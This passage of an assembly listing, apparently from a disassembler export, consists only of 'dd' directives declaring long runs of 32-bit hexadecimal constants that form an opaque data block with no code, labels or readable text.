		dd 80962E0Bh, 4886B8A0h, 91C980h, 1D09A301h, 0CAD453DCh
		dd 4E728101h, 0AEE8346Bh, 40D8D8FEh, 71C7C467h,	8C60A4D6h
		dd 4B345B36h, 60082286h, 0D04BAD22h, 24C961Ch, 9C219AEEh
		dd 0E151C420h, 0A7770196h, 0FA3A2B23h, 18C76F0h, 9CAE9901h
		dd 2073ED1Fh, 0F8E15D00h, 0E2165A13h, 6C9A4703h, 0EC93B986h
		dd 78C3C4CDh, 2B030491h, 0C0ABA2F5h, 15863FDBh,	3061B660h
		dd 5F5AF9C4h, 0A98474Fh, 901104EDh, 54D931B8h, 70A01D76h
		dd 0F702CB12h, 79C33F0Ch, 69E4A0E6h, 0E2F6Ah, 0BA6B7603h
		dd 0AE30F85Bh, 0AB5E4D13h, 68A26884h, 8123A600h, 4DD37EA8h
		dd 4CC02000h, 0A0D5465Fh, 7F8E0071h, 18FE3741h,	689105E0h
		dd 80007A16h, 0F8879369h, 0C90F0B59h, 9484DA11h, 19A4C84Eh
		dd 13105406h, 5C09AA4h,	1211BFEDh, 0F34E257h, 0C0F8CB1Ch
		dd 7579DD73h, 0D78E0A7Ah, 505181h, 0AFD33987h, 5F0766FEh
		dd 0D5067F21h, 0F205DCB0h, 54D80B90h, 68907977h, 7F3D183Ah
		dd 0A39F008Ch, 0EF2EC56Ah, 104D63DBh, 2900C979h, 8A507819h
		dd 0B0E99BE7h, 0E1A46BB7h, 182FDCC0h, 64874E4h,	40403F50h
		dd 82350AAEh, 168FAAD6h, 21548E47h, 9F790920h, 0A1112451h
		dd 8DDE4A7Dh, 0BC9FD014h, 0C6E0C0E9h, 0D80D082Eh, 3E21C831h
		dd 110C743Ch, 3D688EF2h, 44863588h, 20E7B992h, 0FA00B5C7h
		dd 4E8CA6Ah, 0C776E058h, 51FD8378h, 0E89FC45Ch,	0E2005440h
		dd 940B42DDh, 305AE5Dh,	0F2202C55h, 0D2A3127Ch,	968B80C4h
		dd 421C587Ah, 98794E3Bh, 0D2286A3Eh, 0A1323FF5h, 0DAD9F686h
		dd 20041B6h, 8C0A9208h,	3141778Dh, 7C313DD5h, 0AC598014h
		dd 49C16104h, 83E10C1Bh, 4C1821AFh, 49B8D930h, 0F24641FFh
		dd 0CD250086h, 0FC820D49h, 0E232F10Fh, 21FE581Fh, 7269766h
		dd 0E2E14080h, 394E00EDh, 0A56E58B3h, 3C63B75Fh, 0C846CC21h
		dd 7D11041h, 0DA8A37E9h, 67520B1h, 0D4712C57h, 0C3596660h
		dd 15B46Ch, 75EF477Fh, 41FAFB7Dh, 29790F58h, 5F919816h
		dd 0A3E0A601h, 0CC67B275h, 2C00F5B4h, 44C5A866h, 70AF5EBBh
		dd 28F27AD2h, 0F4EDB1h,	122C116Fh, 0E669CF35h, 0F4CA6C00h
		dd 0A24DF891h, 236D0F0Bh, 0D5C64F6Bh, 0DE03995Eh, 0C6143D27h
		dd 4480E6E5h, 0E3071245h, 49BC8B99h, 4CC54B60h,	28C100BAh
		dd 2D4549Eh, 0F40C5857h, 0C1B7DAE9h, 340F5862h,	335C8A01h
		dd 4832343Bh, 1644A9ACh, 31BD60D9h, 0DA1BF4B4h,	78EE1479h
		dd 0FC00DEF2h, 59616BFBh, 37813B09h, 0A0393AB7h, 26E4407Fh
		dd 0A79F690Ch, 8817B01Ch, 9B00AB30h, 0EF8942ACh, 60D84F94h
		dd 0D4E869CDh, 8D03C8B6h, 0DA40122Dh, 4D993A28h, 4C01F287h
		dd 422100E2h, 253C16B7h, 3091809Dh, 0E02FFC62h,	0EABD0EDBh
		dd 6B4A8A2Ch, 0C9D500BBh, 88A5954Ch, 51B4CE4Ch,	0EA2C0324h
		dd 91313EF0h, 0D457BF00h, 0F1DE23E1h, 9DF00383h, 684FB2BDh
		dd 82A451F3h, 7C232984h, 2AD14C5Ch, 4661A100h, 0BC57CD6Ch
		dd 0AFE30C00h, 0F55AA2B8h, 8C2354B7h, 0E63A049Bh, 90EC2AB3h
		dd 0E4F5ED68h, 0E788BA00h, 4CB42993h, 1F6679A8h, 64A25C51h
		dd 0A1FF4038h, 0F5696536h, 0B8C288C0h, 0F6CEAF60h, 0C9B61F4Eh
		dd 3B14803Eh, 0D5402818h, 0A63F58A0h, 47005177h, 0DEC4A509h
		dd 3DA0F160h, 0AF009219h, 0ED998F65h, 243A5DDCh, 0E12830BFh
		dd 0DFB4BA45h, 28E01D89h, 0BCB9220Ch, 63D522h, 6212CF76h
		dd 0F8F686BFh, 66910C0Ah, 0A600DCC2h, 0BCE761F7h, 0E4293011h
		dd 3BB76510h, 0EFEC9C0h, 0A8B038h, 52A91E68h, 0F04C3488h
		dd 1F4543Ah, 925873A1h,	0D7E0BCACh, 9022E33Ch, 8B45F505h
		dd 90904480h, 0B9608265h, 0F7163121h, 1BC720h, 0A1910BFBh
		dd 51F2B15Ah, 0E5A6DD0Fh, 0F722C05Bh, 0F04F4Dh,	3EA1FED8h
		dd 1634F48Dh, 742E630Ah
		dd 514084D9h, 72A27C44h, 0E7F61DBCh, 8CF3D584h,	0DA5A2400h
		dd 526B7E41h, 57369300h, 0A915A68Bh, 0E90D1E58h, 62B9E9Ah
		dd 784755F2h, 0BB00A086h, 743A817Ch, 1318DC6h, 36A6ABDFh
		dd 2422F3D4h, 0ECA6EC68h, 63B29600h, 0E9994739h, 0D6FE015Dh
		dd 5B0E5CA2h, 12EEE806h, 57872500h, 0A4CF4298h,	3EC984Ch
		dd 62EBAF9Eh, 0EDE13483h, 5FF3F02Bh, 0BD4E5101h, 2865C338h
		dd 78326730h, 0FC9B4CF6h, 86D7803h, 3006CE41h, 29E6BEC8h
		dd 0C0AC03F9h, 0D115F4B6h, 872FE7E1h, 0BF571319h, 4C009089h
		dd 0FF4903FEh, 4D6BD1AFh, 3F507021h, 12F35C81h,	62BB4561h
		dd 0E3F2030Ch, 26513CEFh, 0A98D211h, 4F84D4E9h,	0CDB5F60h
		dd 49006545h, 13C6DCCh,	984CCA13h, 70D21C56h, 63742C9Ah
		dd 9A3A3C45h, 661D04C5h, 449410ACh, 29608882h, 70D85C18h
		dd 433CA100h, 869EB867h, 97540041h, 0D5F2B974h,	0B0B0911Eh
		dd 0ED4EE100h, 4D3CE95Ah, 6649C261h, 308F23C5h,	0DC0022BDh
		dd 6BBDFAAEh, 30ECC912h, 9658C04Ch, 9CA13CE5h, 0C0001403h
		dd 4112E47Bh, 0A7CCA0FDh, 167C3165h, 0E7C6D021h, 44DFC498h
		dd 42D3921Ch, 16DA6605h, 113A3C0Fh, 39117C18h, 901C476h
		dd 0A2DD80AEh, 0DAC09072h, 0F029D754h, 9A03914Dh, 65CE2244h
		dd 651A694h, 9D6603C9h,	0D930112Ah, 0AB5DD9C1h,	0A63B0044h
		dd 0F29A844Fh, 0AF00B3BDh, 0C3AA5973h, 5A9726h,	0D7DB3B7Fh
		dd 4C5FC012h, 2493A612h, 0F282E400h, 83B404Fh, 0D2B95C4Dh
		dd 7B8CED80h, 1814747Ah, 19C6B845h, 5A69DBBFh, 0E18C18D1h
		dd 1F0600EAh, 91241088h, 0E328BFBBh, 3B441459h,	0FC2A0046h
		dd 96FD9B86h, 6201E491h, 87F06DF1h, 3C20CE4Eh, 81AA8B54h
		dd 18007CE6h, 9A8AF731h, 10C9F53Ah, 0A3C0CD0h, 0BC24AF66h
		dd 20013745h, 0CECBF24Ch, 0F4009821h, 98341C93h, 0B4F344B8h
		dd 62005CB9h, 9B2939F5h, 61A707D8h, 80EDA0C0h, 4AD738EFh
		dd 0A08604B0h, 2E67E448h, 0F44AB8E6h, 0E2AC8580h, 5245F4A7h
		dd 0D518D0A1h, 7F669164h, 0B4AE0E00h, 0ADAA2578h, 190F035h
		dd 5791F504h, 1026B7ECh, 12BBFA34h, 8933718h, 70682498h
		dd 0CA9E4D00h, 59E64C03h, 0C4C4ECD9h, 0A2544B91h, 0C483CED8h
		dd 1A97334h, 57D07071h,	70328722h, 91052993h, 0A97CCEF9h
		dd 8C089C53h, 0BDD440A5h, 0E926ED88h, 0F760F847h, 45581Fh
		dd 1394D5A9h, 0A4CC98E8h, 1E4AED0Bh, 6F8490D9h,	0E7110F4Eh
		dd 384CD464h, 2FE854D1h, 3B878E00h, 4F6CAD1Ch, 0A63EE2EDh
		dd 1E76009Ch, 22B09AF8h, 0D0002550h, 57F4BABFh,	562CD9Dh
		dd 3E3CEEE2h, 0C6B42733h, 0D9376115h, 855081BEh, 0F60EDBh
		dd 1B8E7FE6h, 0DA9E4A01h, 5658F090h, 0FB9104FCh, 70887CFDh
		dd 7DDF00E7h, 0C5F4D929h, 130143BDh, 6A3D4864h,	9C30ECEDh
		dd 0E92686B5h, 0A028E89h, 609AED70h, 607C01F4h,	8C22511Dh
		dd 0F4025E8Ah, 9266EDF0h, 38EC901Fh, 0E0E49461h, 0D60D25B8h
		dd 0CF0E3AE2h, 0A1CAECE1h, 0BF41E495h, 0F826FC33h, 83E00268h
		dd 0FC803E7Eh, 0B7A4CEC8h, 87613D60h, 83517Dh, 0B0762970h
		dd 0B38F6B79h, 943B4316h, 38FC0Bh, 11ACE314h, 51BD044Fh
		dd 129E9E6h, 6B05A696h,	7891A061h, 8A017D14h, 2151D1BBh
		dd 0A060FBE1h, 60994C69h, 0D15FD519h, 0FE056ECBh, 0C497B0h
		dd 60E3240Ah, 0A989E40Dh, 453CEE0h, 0D9BFE028h,	135CB070h
		dd 0EC51E300h, 0EFB41E2Eh, 9CA4B7h, 0D373E42Fh,	3EE67ED0h
		dd 0B37940Fh, 6543A789h, 0FD21B9C0h, 917100B5h,	0A120E7BCh
		dd 48D23AFCh, 0A714E830h, 84FE0FC7h, 0A6800757h, 0AFB951BEh
		dd 66B4160Bh, 525819AEh, 98C1060Bh, 0D8A8621h, 12B719A9h
		dd 0FCFE6031h, 0D4183B00h, 0F4C21403h, 0AA780259h, 37B11A25h
		dd 904614E2h, 81CD3600h, 0D4D9B6EAh, 5FE90124h,	2752A296h
		dd 80702825h, 88D68344h, 0A1E0E476h, 6C601EBCh,	8B4D0040h
		dd 37F1F6D3h, 0EF035F9Fh, 0E1514FF7h, 52D98202h, 0AA7324h
		dd 778BAC61h, 0FA4433A2h, 12BFF601h, 91994EBEh,	84146860h
		dd 11645121h, 3033032Bh, 8827C05Eh, 3437DEDh, 343F8BA4h
		dd 3925C220h, 0E41435h,	13C1E1E5h, 4F54FE95h, 0F4A40E0Ah
		dd 0E201AEDAh, 0B156A255h, 8C10D0A5h, 0B500486Ch, 1A3472FCh
		dd 2B07DB6h, 0C2BDAD73h, 0A483FA39h, 319EBA5Dh,	38DABF28h
		dd 0BA3891h, 7E456B9h, 0FAFD990Fh, 0A9900FCAh, 82D2018Eh
		dd 8206610h, 706DF2C3h,	3270075h, 77453A3Eh, 201DC21Bh
		dd 0BDD4114Fh, 0CD52450h, 988CA440h, 5D73030Ah,	711D9339h
		dd 4CF5A380h, 84873B02h, 0E0ECEBA9h, 0E977A1C8h, 0D4FC8425h
		dd 35B62064h, 30F5F226h, 7C68B415h, 0A14C88h, 349A277Dh
		dd 0FAAD6608h, 0ABF4ED02h, 485A81AEh, 8A16DCB0h, 3065F861h
		dd 4188218Ch, 5A7C3Bh, 1ED457C8h, 0F8FBDA77h, 66923C06h
		dd 9C297580h, 0EE204F18h, 8C4A2B2Eh, 52CD0700h,	0AA876C9Eh
		dd 250B8E2h, 2469E3E0h,	6846F4CAh, 2A196000h, 854ACEEFh
		dd 3B277C5Eh, 0C60046FEh, 48E18896h, 890E4F35h,	540920C4h
		dd 1FE960DBh, 9A0C8FCh,	0A3165A78h, 16604808h, 0FF6C0069h
		dd 32388DAEh, 0D470EE81h, 0A1F32867h, 0CB7514h,	7224EA62h
		dd 4D682E63h, 95D48505h, 80C03F97h, 79FCDBE3h, 98AA2C09h
		dd 15311124h, 0A0147Dh,	7B4039C3h, 0B91FCFA2h, 504880E8h
		dd 9BBC8D8Fh, 53DBFF00h, 0FCD4EFF0h, 8CA2005Eh,	0F6FD5078h
		dd 0A50025C5h, 64A019E2h, 3D8AF3Fh, 1B59E020h, 0BDC89A4Dh
		dd 0C0C046C3h, 45E1DBCBh, 2C560028h, 2DB35110h,	2A6ECF20h
		dd 8F287B0h, 0A7A64880h, 8C900EB8h, 19C03D9Fh, 0E643230Fh
		dd 0D82C0800h, 78C37D28h, 0BA5700EEh, 9E8F5F79h, 0E4019846h
		dd 633B4D25h, 898353Ch,	2EFD2196h, 0D1319800h, 38325D21h
		dd 0B94A00E6h, 8FCF7DB8h, 5F0D97BEh, 307C42FCh,	0F5D9E0h
		dd 2311D44Eh, 1BFEBA83h, 216A08CCh, 4EEE0C3Eh, 489833B7h
		dd 7D296917h, 216300BFh, 0F8DAB8F6h, 556F841Bh,	0D1883A30h
		dd 8E87280Ch, 0DF00AF11h, 31F4ECBFh, 660C5AD5h,	21BB08F9h
		dd 0BFD7B200h, 7DDE0374h, 325618D9h, 0AE08BAEBh, 0B6C04B63h
		dd 7161005Dh, 65B562FBh, 0A3175735h, 8900499Fh,	0EABE4732h
		dd 0AC8900A6h, 0E88F017Bh, 39C758B0h, 0B0BA153Fh, 759AB301h
		dd 89BA3DEh, 0EDF82165h, 0DF022C7Bh, 0EF3F23C5h, 0FC605F21h
		dd 0CB83222h, 24A8863Ch, 7C0045B9h, 92487212h, 94EE008Bh
		dd 53A441A7h, 0FD000B33h, 1BB76F57h, 3CBFDEh, 0F30D931h
		dd 0EF7CE816h, 91F66300h, 8D6D8FADh, 0B7440711h, 90FB8308h
		dd 0ABBCE61Ah, 7DDD9707h, 4F005A37h, 73694570h,	9D0B0076h
		dd 3A03B150h, 0B20147BCh, 0A9F009D9h, 2DCE514h,	3C650087h
		dd 0EB6798B7h, 504AB37h, 0FEA34703h, 0A8763A80h, 9F9D07D6h
		dd 4C3574E8h, 4A095728h, 5FBF883Bh, 63B60F03h, 212A0830h
		dd 33B5274h, 0E28E0833h, 180037D5h, 7E4CB332h, 1F3E21h
		dd 1CF90B3Ah, 9D2A8089h, 340CF3FCh, 316B7C9Fh, 100F00EBh
		dd 894B1AF5h, 0BB061465h, 3E22DC44h, 8E370921h,	1802620Ch
		dd 5CD0DF19h, 9C230E0Ah, 465E5CA9h, 9E57002Bh, 0D1872718h
		dd 0AE4C0CA0h, 405091FFh, 596EE600h, 4E129E34h,	0B898C058h
		dd 0AD33BAF4h, 0FD5F0D00h, 6CC2B71Fh, 0E55C0086h, 0B2E7599Bh
		dd 0D0045A8h, 230120B8h, 0ED2A0Fh, 9573FF34h, 0A0EA5A7Bh
		dd 6A9D9E01h, 0C8601356h
		dd 0F4C27E60h, 0F8920C5Bh, 0A04062F7h, 50209F06h, 0B0105823h
		dd 2F081831h, 0D4B71135h, 38AA7D30h, 543D84h, 1B61F6Bh
		dd 69B018C5h, 0B34E3318h, 1C9D359h, 3E4BF652h, 809355CBh
		dd 0FD07DB19h, 3033A50Eh, 58B81CE9h, 8C3BA25h, 0FFD0B30Dh
		dd 9F437h, 1E7E818Ah, 6B034892h, 0B79EAD00h, 48A48AF7h
		dd 0BD30AF7Eh, 1C31D84Ah, 0B2213C03h, 0BC25DD01h, 800ECF33h
		dd 0A0F38461h, 63289F0h, 3D085962h, 2DE0D93Eh, 81A82A30h
		dd 7E5F92DCh, 0DA871C9Eh, 809300BBh, 9A9CDF08h,	0B60C207Eh
		dd 0D0A975DCh, 84D118B2h, 38364859h, 41402700h,	6583E491h
		dd 18F4008Bh, 0D1BCD87Ch, 38005928h, 0F9884DBFh, 1F12B63h
		dd 92CF5A1Eh, 0CCCC30E3h, 0FE1A2D65h, 151102E2h, 85070604h
		dd 2B0010F3h, 88175FC3h, 0F202215h, 0E9302FCh, 726E5C0h
		dd 4262863Fh, 24612D28h, 33BE2166h, 0BF103B12h,	84A896Ah
		dd 0D73444C0h, 44D08144h, 0FA884E17h, 4BA1008Fh, 63971EB4h
		dd 3000FFD9h, 39E3649Eh, 8743B1h, 0EC96E6DCh, 3F0FD844h
		dd 0BBAF8501h, 818E71E0h, 3960DFF8h, 0F4011E99h, 0AE57CEDCh
		dd 0D970701Ah, 0CB009EF8h, 89069CD8h, 406A67h, 555B5A90h
		dd 0C0B3A7ABh, 0F366D200h, 0AA461549h, 26BB0054h, 201FD7F0h
		dd 0E39056D8h, 94CF5F3Dh, 1C68384h, 0B6858AD5h,	0ACF09018h
		dd 69490043h, 3D36CB5Dh, 0E4033E2Bh, 13FBEA17h,	7287784h
		dd 0BCAD07Ah, 88ACE15Bh, 0E0542Ch, 54C580F5h, 0A600D32Ah
		dd 0CA57843Bh, 6370C410h, 0FE8810A7h, 0EE5C7FC0h, 39B0E605h
		dd 0EC00CF15h, 58D70552h, 0FC7691h, 93A31EC9h, 0DB820CB2h
		dd 0DA352500h, 5A324D7Ch, 9D2D0095h, 24CBB87Ah,	0B000F9C9h
		dd 0EBCF861Ah, 1798ACEh, 0D39514C3h, 403D7F7Bh,	72A08784h
		dd 0F2FB3800h, 0E1B9178Bh, 1B748Eh, 25E6732Ah, 404897A2h
		dd 2C4E5800h, 20F49022h, 3B280036h, 0E6BF9B2Fh,	23E1C47h
		dd 6DE00BCh, 0F974FBC7h, 0E2163A3Ch, 99009448h,	0B344F1D7h
		dd 0EE009C7Dh, 1A047E07h, 17D84BFFh, 0BFCECDh, 0EC0BF987h
		dd 0A200AD77h, 7906874h, 59554Eh, 6A6DEE6Bh, 0CE85C17Eh
		dd 44F5FF09h, 88800028h, 6761E3Ch, 10D6CFDDh, 0A600442Ah
		dd 8930800Dh, 5D5550h, 0E8D978ABh, 7BC77A1Eh, 0B86091Fh
		dd 19A28EFCh, 71FB213Fh, 0D0209395h, 18060743h,	20A4B547h
		dd 99C8F078h, 0D0281007h, 90703340h, 140170BDh,	9CA3E3A7h
		dd 4DDA4700h, 0F1C2B076h, 0C5009AFAh, 4918B563h, 93BF22Ch
		dd 0B4AEB885h, 52450422h, 6A1AB5C0h, 36D02400h,	9CE32F1h
		dd 82A00E6h, 4AA6403Bh,	0E1012F1Eh, 6905A0B0h, 0A5DD2CDDh
		dd 5CFC24h, 0E2D344B1h,	0C56BDC5Fh, 8F45E419h, 0C0C4DB90h
		dd 0F220001Ah, 0D9E6983Ah, 0D10F8171h, 802E9943h, 6DF602B1h
		dd 0A027389Eh, 67C196h,	961FB815h, 1C002FA6h, 0E0E9F244h
		dd 91408Eh, 33EAAEA5h, 0F4B7F814h, 951C0498h, 1D8FE717h
		dd 85600B2h, 1843AB4h, 8DD59722h, 0F8DED399h, 250B6C89h
		dd 0FD3398E1h, 163D6580h, 0F5001B42h, 850FAB81h, 7E65694h
		dd 0B6C89919h, 0D94D805Ch, 800B9CDh, 78971859h,	260E30CFh
		dd 78FA27h, 62130B14h, 6B00E650h, 78BE8133h, 1F8FE0F2h
		dd 8EEB2A8Dh, 720497h, 0D87F6BDBh, 13004CA1h, 2CD75ECh
		dd 3BAEB2Eh, 0C851468Ah, 6890D0C9h, 0B265484h, 4D01280Fh
		dd 0FCCD4757h, 0A1ECCC21h, 236A00E1h, 67684899h, 650F784Ah
		dd 0C0505F88h, 893B4E2Fh, 0C4FE004Ch, 0F6D6A3E9h, 310002A7h
		dd 8614B6B1h, 0E2C55E94h, 0A5EC4Bh, 0A8E6C0F5h,	0DB0B7A2Ch
		dd 0CFC8AD00h, 1825A13h, 272300B6h, 1E4F093Bh, 2526EE8Dh
		dd 69043CD5h, 0EB81AC4Ch, 0EAEC29CAh, 5DFF00BFh, 0B6E7B732h
		dd 891D058Ch, 0DA40936Eh, 0E4F84A5Bh, 72F30201h, 5724FE6Bh
		dd 0B5AF01DFh, 24204738h, 0C8B700E4h, 9B8F9346h, 4F263918h
		dd 860008DBh, 5112A83Bh, 0EF040472h, 0C05C4A47h, 0F52AE774h
		dd 8991B00Dh, 3CE0708Ah, 87110EDBh, 3E60F398h, 9E5CFBE9h
		dd 4EEFA950h, 7FD9DE00h, 67A63190h, 0EB7D0009h,	5F5EFD96h
		dd 0FC0625A4h, 0E3E17C4Ah, 60D4000Ah, 0D647F891h, 0A7786F61h
		dd 1839C739h, 0EE16129Dh, 6CBF1D8Dh, 491A800Bh,	4B43AD5Bh
		dd 4C085403h, 0B1DE33A6h, 0D2DC7D74h, 601298FBh, 1B8A1055h
		dd 6705D811h, 31A93098h, 1FD8CE86h, 0C059B93Fh,	0E644C57Dh
		dd 411E0F2Ch, 0BD846631h, 0E480958Ch, 3C60A6h, 0F3EA5FDFh
		dd 8B442B6Bh, 0CD110F0Eh, 8DA62050h, 1ED57B88h,	529A95h
		dd 42C39E7Eh, 1C1F99A1h, 0AD01938Ch, 7122FF6Bh,	0C5D3A740h
		dd 20DE0356h, 0EFC7D710h, 0E47649B0h, 0AC210B0Eh, 28EE9Dh
		dd 40BC2422h, 2A2C00E9h, 0EA6B6A25h, 0DF016465h, 0BD1CB8C7h
		dd 88FDCC80h, 941830h, 7442B70Dh, 8567D4D3h, 52EA9D07h
		dd 0B8008DE4h, 56B95Ch,	832145FBh, 0E8DB0D05h, 28BED902h
		dd 46DCEF42h, 0A2FA0560h, 80DA249Dh, 0D3BAF0C0h, 50F1A7Ah
		dd 449752B6h, 81EBB051h, 0C90F3E9Fh, 0EC0C30CCh, 8AA54Ch
		dd 0E4FBCB3Ch, 737843h,	347BA6C0h, 3AF52E0Ch, 67365A01h
		dd 51564104h, 381E47C4h, 1A03A294h, 334F520Ch, 61D9EFEBh
		dd 0F837C944h, 0DFA03C08h, 0D000F1FCh, 0D6A6A97Bh, 9866D1h
		dd 0EF84EE83h, 8C364549h, 950FDF00h, 2D2D570h, 6D8F00FDh
		dd 0CE7B674Fh, 0BBA37E9Fh, 0BA0E55E0h, 0C33DC202h, 83049189h
		dd 886771E9h, 0B16DB7h,	0AB76FDA6h, 0F9C579DEh,	0F34EFE00h
		dd 0D72107BFh, 0BD7F1668h, 9254073Ah, 0A56BE0F2h, 64BA9F88h
		dd 0EB006F7Bh, 3206C14Dh, 98287342h, 0B6120035h, 0E0FACAC7h
		dd 0C00E108h, 0ADF3EC54h, 90151D9h, 1F62D349h, 3AF45480h
		dd 4E00DAA3h, 0C166C427h, 4C57F08Ah, 640190F9h,	21B3B87Bh
		dd 12086051h, 80282B3Ah, 653CFCF1h, 47D0BBh, 8754F257h
		dd 0D1684F18h, 7F7F23FCh, 0B80FFD76h, 6ED9551Bh, 46182321h
		dd 0E47824C8h, 804C00E9h, 0B413F826h, 2C57442Eh, 1B76C603h
		dd 3A8B903Bh, 2D7DD1h, 734C3358h, 0C35FED06h, 1CD99E24h
		dd 9A4FEE00h, 0E46CCFh,	5D3F4DF2h, 0FA7D4E9Fh, 0E88C4750h
		dd 496CD560h, 0F0540F5h, 557C8E0Ch, 8A25B800h, 89F00DACh
		dd 50587090h, 2443D388h, 0C2FDF537h, 0AEB4689Eh, 0E7D5048Eh
		dd 80899B5Ah, 22128FE0h, 0E526B100h, 7644FA6Dh,	0A999015Eh
		dd 6401136Bh, 70828B8h,	0AB4FED8Ch, 0F53A2252h,	0D6BA6D00h
		dd 2800D7AFh, 0DBB71AB1h, 3EB5ADFCh, 7CAC592h, 1F427C10h
		dd 4D029A60h, 2EE23ADEh, 0E01CA44Ah, 346400A0h,	420EC8FEh
		dd 7C003E93h, 3CB833F4h, 2E8DE61Ch, 0BD1CFC3Dh,	70680279h
		dd 0B989E51Dh, 0A5DDD2C0h, 5CF7A21Fh, 2D96801Eh, 0A6C7C600h
		dd 7F47681h, 0A227741Eh, 0DF673055h, 0DD014206h, 77DBA814h
		dd 0F03FF5B8h, 0AF039C0Bh, 31691659h, 52A811B2h, 0F2050066h
		dd 0C1F45172h, 4F99002Bh, 0D26F78A9h, 0CA241EAFh, 6700FBC5h
		dd 4BC63F7Eh, 4896094Ch, 0D880BAC9h, 4FC50B26h,	56051090h
		dd 0E122B691h, 6CF52180h, 69C00033h, 18B24D6Ah,	0D4018B30h
		dd 0DFED3BCEh, 3760931Fh, 0E13A0055h, 0B3786BE0h, 0FC067FECh
		dd 2D485749h, 388400A0h, 0DBD90BB2h, 2603B4EAh,	9BA7BF3h
		dd 4C8EF1BCh, 9F2430h, 105C55Ch, 0D66D36Eh, 75378A02h
		dd 0E015D6EBh, 4DEF21h,	0CA1C3FA9h, 6318065Eh, 0F20C900h
		dd 22DC4BFBh, 0B7A800D6h
		dd 89D1A2FDh, 0C900BC43h, 3E2C5157h, 786FCFF1h,	12367CC4h
		dd 0FB518FFh, 0D4808828h, 0F51AFEDDh, 0C301141Ch, 0D85780FEh
		dd 0AF802DE9h, 93C70BADh, 0E080989Fh, 0B837FF96h, 0EA40041Eh
		dd 0B05EC9h, 6252CF00h,	0BBF4306Ch, 0CB71C610h,	83ABD63Ch
		dd 0A23804A8h, 8922B8A4h, 0DA5403F3h, 74C1BB7Dh, 0B402E1D0h
		dd 2698E000h, 655AE2F7h, 279A0037h, 0B3D5509h, 0B71D56CAh
		dd 2040E935h, 82715D8Eh, 0E00F06F0h, 21CE9F3Eh,	4526C200h
		dd 629E3B72h, 78BF00E8h, 0F8313A58h, 0A6007A96h, 0E5FFCDBCh
		dd 706213Bh, 5F865D60h,	4A721084h, 3000D235h, 91460E7Ah
		dd 0F4D86E3Eh, 0ECC0EE69h, 16333990h, 153B8880h, 0E9318EEEh
		dd 0D13778C0h, 68FD1Ah,	0DEB1F18Ch, 6497F775h, 25330801h
		dd 0ECD9C231h, 6E90FCh,	56ED148Bh, 0C83FBD12h, 0D7D8B900h
		dd 29DDE73Bh, 1317E55h,	73FAAF25h, 0F4F8B14Dh, 0F051BBEh
		dd 9AC5E608h, 56A12DC0h, 0B5490077h, 352E29C1h,	4C00B6EBh
		dd 86872A45h, 0D37F7Ch,	260BC611h, 0FA2C67BFh, 9074190h
		dd 7472B093h, 0AB404EF7h, 7DFCF0h, 2ECE3CD6h, 826C778Fh
		dd 2F88F300h, 0D8636104h, 0A04E0016h, 7DC99C8Ch, 0F700A478h
		dd 51EDBDDAh, 4D0539h, 9A2DDBFh, 65B98A1Ah, 0EA303874h
		dd 21754F2h, 66FE003Dh,	426E5FABh, 4C0021A7h, 4F888E50h
		dd 0EE3D125h, 95BF1432h, 3FC287h, 0F9A3D767h, 0DD00ECE0h
		dd 68271730h, 5DEFAAh, 738C7937h, 0C44CE7C2h, 1A168A00h
		dd 0DFEA8798h, 631D1F74h, 9B0540C0h, 6BF86D7Fh,	826E1800h
		dd 0AB98543Fh, 0F4F0E3h, 0C204505h, 1D48EC89h, 6AD88800h
		dd 0F1DC7C83h, 197485h,	3D3162C6h, 76D2B259h, 21536B00h
		dd 65E609CDh, 0FF9003DEh, 6967FE61h, 0A87A1D90h, 0D0E9B100h
		dd 47CF5D92h, 0AD3A1437h, 0C500AC2Ch, 35973BFDh, 29C09C01h
		dd 60DBD711h, 10BE6702h, 8062B4B3h, 95F6276Bh, 0A3D43616h
		dd 0AFF03D00h, 0D05A19h, 0B66987ECh, 3E0E0535h,	0D1FB2002h
		dd 0E3A9E3DAh, 8030E2A9h, 58C9E6FCh, 2A89003Bh,	0DEBA4AE9h
		dd 8D00EDA7h, 0E785CBFBh, 0BC8F8Ah, 0DA7222A0h,	5E353F87h
		dd 0B8456003h, 0FCD70FB6h, 752EA480h, 3C8C0A1Eh, 2893C68Fh
		dd 9D8224Ch, 174ACB00h,	1F5E7B57h, 0A441E71Ch, 8FC89175h
		dd 8DFF00E8h, 0E4DC7369h, 0D305A2Ah, 89EA832h, 0A5CB24D8h
		dd 4DDF01ECh, 202A4070h, 0E000C2C0h, 0C38FF754h, 13EF6B2Ch
		dd 0FE453EEDh, 0A506EA0Fh, 0AC0091B4h, 763FDAB2h, 999FEE2h
		dd 6D9CDDA1h, 9103C00h,	0E9006C71h, 0DAB5B386h,	83C029h
		dd 34603FD7h, 3E580B80h, 2A6ECA00h, 4B0A25A7h, 0D4093B71h
		dd 304C1C00h, 0BDFC3427h, 0DB5084A0h, 1306BB00h, 0E3B923B6h
		dd 0D040008Eh, 8B355EC4h, 0AF7D33A9h, 2FB44107h, 59A0F5D1h
		dd 9C51B5h, 0DE62034Dh,	0F60AF9A2h, 0B378900h, 0D0C6D6A6h
		dd 0EA831F07h, 7CCD5C63h, 48F25D80h, 8795409Ah,	1E3C0900h
		dd 8B6619DBh, 189E00C0h, 30564CFCh, 0D43C6BD2h,	0A4FA810Bh
		dd 0D1B3D521h, 0C900B033h, 0F852ED9Eh, 0F3009047h, 0F5E99668h
		dd 2159E2h, 437A7573h, 81AF6FF6h, 4878E809h, 36980063h
		dd 49D08BB5h, 1849C032h, 11C81200h, 0E0C08057h,	80F8B23Eh
		dd 0F4E41309h, 1E516A95h, 0ADB9CBh, 0B6ED54D8h,	350076BAh
		dd 52FCCCDEh, 4F8487h, 19023DDBh, 6E2D2AA7h, 61C8030Bh
		dd 28ADE0Bh, 0AC7688F6h, 78988040h, 0F1FD5226h,	0C4C2300Ah
		dd 93759A00h, 87F3EDh, 0E61A746Bh, 4AA60D34h, 0C5BF9100h
		dd 6C4306DAh, 80409030h, 7077C4h, 43FE31Bh, 0A79982B8h
		dd 0A3CDC000h, 8E356B62h, 0B9FB2C15h, 963B8E1Ch, 0C461BD2Fh
		dd 0D186A3DFh, 0E2D9D0C6h, 893D5030h, 76FD1B0h,	0FC9E0513h
		dd 0C9CCE2Ch, 1D201C4Dh, 0FE00157Ch, 0B55C8FBDh, 3D549Dh
		dd 0B944DE2Eh, 31C12D8Ch, 0B0779400h, 0C51764FEh, 71EB0FB8h
		dd 760A3D1Dh, 6D680134h, 8039E3A8h, 0F0FDA211h,	133D394h
		dd 8935CD63h, 0B0BBDCC4h, 0EDC2C048h, 671E0291h, 0F7BA32EBh
